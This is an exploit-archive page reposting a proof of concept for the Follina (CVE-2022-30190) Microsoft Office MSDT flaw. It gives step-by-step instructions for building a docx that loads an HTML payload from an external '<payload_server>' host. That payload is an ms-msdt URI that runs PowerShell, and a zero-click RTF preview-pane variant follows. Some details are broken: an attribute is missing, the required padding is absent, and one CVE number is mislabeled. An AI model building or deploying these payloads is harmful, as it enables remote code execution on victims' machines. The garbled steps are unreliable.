what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Office MSDT Follina Proof Of Concept

Microsoft Office MSDT Follina Proof Of Concept
Posted May 31, 2022
Authored by JMousqueton | Site github.com

Proof of concept for the remote code execution vulnerability in MSDT known as Follina.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2022-30190
SHA-256 | 53ac1f74816b206d64cdb03e581a54d26e7aad446de7be2e6ecd1af77d47ebc2

Microsoft Office MSDT Follina Proof Of Concept

Change Mirror Download
# POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina 

> Info : [New Microsoft Office zero-day used in attacks to execute PowerShell](https://www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell/)

## Summary

On the 29th of May 2022, the Nao_Sec team, an independent Cyber Security Research
Team, discovered a malicious Office document shared on Virustotal. This document is
using an unusual, but known scheme to infect its victims. The scheme was not detected as
malicious by some EDR, like Microsoft Defender for Endpoint. This vulnerability could lead to
code execution without the need of user interaction, as it does not involve macros, except if the
Protected View mode is enabled. There is no CVE number attributed yet.

## Technical Details

The vulnerability is being exploited by using the MSProtocol URI scheme to load some code.
Attackers could embed malicious links inside Microsoft Office documents, templates or emails
beginning with ms-msdt: that will be loaded and executed afterward without user interaction
- except if the Protected View mode is enabled. Nevertheless, converting the document to
the RTF format could also bypass the Protected View feature.

## Proof of Concept

MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).

The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).

Here are the steps to build a Proof-of-Concept docx:

1. Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.

2. Edit `word/_rels/document.xml.rels` in the docx structure (it is a plain zip). Modify the XML tag `<Relationship>` with attribute


and `Target="embeddings/oleObject1.bin"` by changing the `Target` value and adding attribute `TargetMode`:

Target = "http://<payload_server>/payload.html!"
TargetMode = "External"

Note the Id value (probably it is "rId5").

3. Edit `word/document.xml`. Search for the "<o:OLEObject ..>" tag (with `r:id="rId5"`) and change the attribute from `Type="Embed"` to `Type="Link"` and add the attribute `UpdateMode="OnCall"`.

NOTE: The created malicious docx is almost the same as for [CVE-2021-44444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444).

4. Serve the PoC (calc.exe launcher) html payload with the ms-msdt scheme at `http://<payload_server>/payload.html`:

<!doctype html>
<html lang="en">
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";


Note that the comment line with AAA should be repeated >60 times (for filling up enough space to trigger the payload for some reason).

## BONUS (0-click RTF version)

If you also add these elements under the `<o:OLEObject>` element in `word/document.xml` at step 3:

<o:FieldCodes>\f 0</o:FieldCodes>

then it'll work as RTF also (open the resulting docx and save it as RTF).

With RTF, there is no need to open the file in Word, it is enough to browse to the file and have a look at it in a preview pane. The preview pane triggers the external HTML payload and RCE is there without any clicks.

## Sources :

- https://nao-sec.org/about
- https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection
- https://gist.github.com/tothi/66290a42896a97920055e50128c9f040
- https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

Login or Register to add favorites

File Archive:

September 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    2 Files
  • 2
    Sep 2nd
    21 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    17 Files
  • 5
    Sep 5th
    34 Files
  • 6
    Sep 6th
    29 Files
  • 7
    Sep 7th
    11 Files
  • 8
    Sep 8th
    25 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    26 Files
  • 12
    Sep 12th
    23 Files
  • 13
    Sep 13th
    17 Files
  • 14
    Sep 14th
    22 Files
  • 15
    Sep 15th
    16 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    19 Files
  • 19
    Sep 19th
    60 Files
  • 20
    Sep 20th
    23 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    8 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By